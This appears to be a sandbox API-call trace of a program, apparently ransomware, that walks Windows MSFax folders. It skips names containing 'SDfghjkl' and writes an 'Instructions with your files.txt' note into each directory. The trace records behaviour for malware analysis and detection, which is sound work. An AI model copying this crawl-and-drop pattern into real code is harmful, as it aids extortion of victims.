[0131.949] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.949] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\..") returned 64
[0131.949] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f992a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.949] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\Instructions with your files.txt") returned 94
[0131.949] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.949] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f992a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.949] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\Instructions with your files.txt") returned 94
[0131.949] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.949] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.950] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.950] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.950] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.950] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.951] CloseHandle (hObject=0x118) returned 1
[0131.951] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.951] GetProcessHeap () returned 0x810000
[0131.951] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.951] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1
[0131.951] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 67
[0131.951] GetProcessHeap () returned 0x810000
[0131.951] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.951] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned 69
[0131.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.951] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\.") returned 69
[0131.951] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.951] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\..") returned 70
[0131.951] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0131.951] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned 73
[0131.951] GetProcessHeap () returned 0x810000
[0131.951] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.951] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned 75
[0131.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.951] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\.") returned 75
[0131.951] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.951] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\..") returned 76
[0131.951] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1
[0131.952] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned 87
[0131.952] StrStrIW (lpFirst="confident.cov", lpSrch="SDfghjkl") returned 0x0
[0131.952] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1
[0131.952] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned 81
[0131.952] StrStrIW (lpFirst="fyi.cov", lpSrch="SDfghjkl") returned 0x0
[0131.952] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1
[0131.952] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned 85
[0131.952] StrStrIW (lpFirst="generic.cov", lpSrch="SDfghjkl") returned 0x0
[0131.952] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f992a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.952] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\Instructions with your files.txt") returned 106
[0131.952] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.952] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1
[0131.952] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned 84
[0131.952] StrStrIW (lpFirst="urgent.cov", lpSrch="SDfghjkl") returned 0x0
[0131.952] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0
[0131.952] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\Instructions with your files.txt") returned 106
[0131.952] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.952] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.953] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.953] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.953] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.953] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.953] CloseHandle (hObject=0x11c) returned 1
[0131.953] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.954] GetProcessHeap () returned 0x810000
[0131.954] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.954] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f992a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.954] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\Instructions with your files.txt") returned 100
[0131.954] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.954] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f992a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3f992a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3f992a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.954] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\Instructions with your files.txt") returned 100
[0131.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\common coverpages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.954] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.955] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.955] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.955] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.955] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.955] CloseHandle (hObject=0x118) returned 1
[0131.955] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.955] GetProcessHeap () returned 0x810000
[0131.955] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.955] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1
[0131.956] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 55
[0131.956] GetProcessHeap () returned 0x810000
[0131.956] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.956] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*") returned 57
[0131.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.956] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\.") returned 57
[0131.956] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.956] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\..") returned 58
[0131.956] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fbf400, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.956] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\Instructions with your files.txt") returned 88
[0131.956] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.956] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3fbf400, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb3fbf400, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb3fbf400, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.956] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\Instructions with your files.txt") returned 88
[0131.956] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\inbox\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.956] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.957] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.957] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.957] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
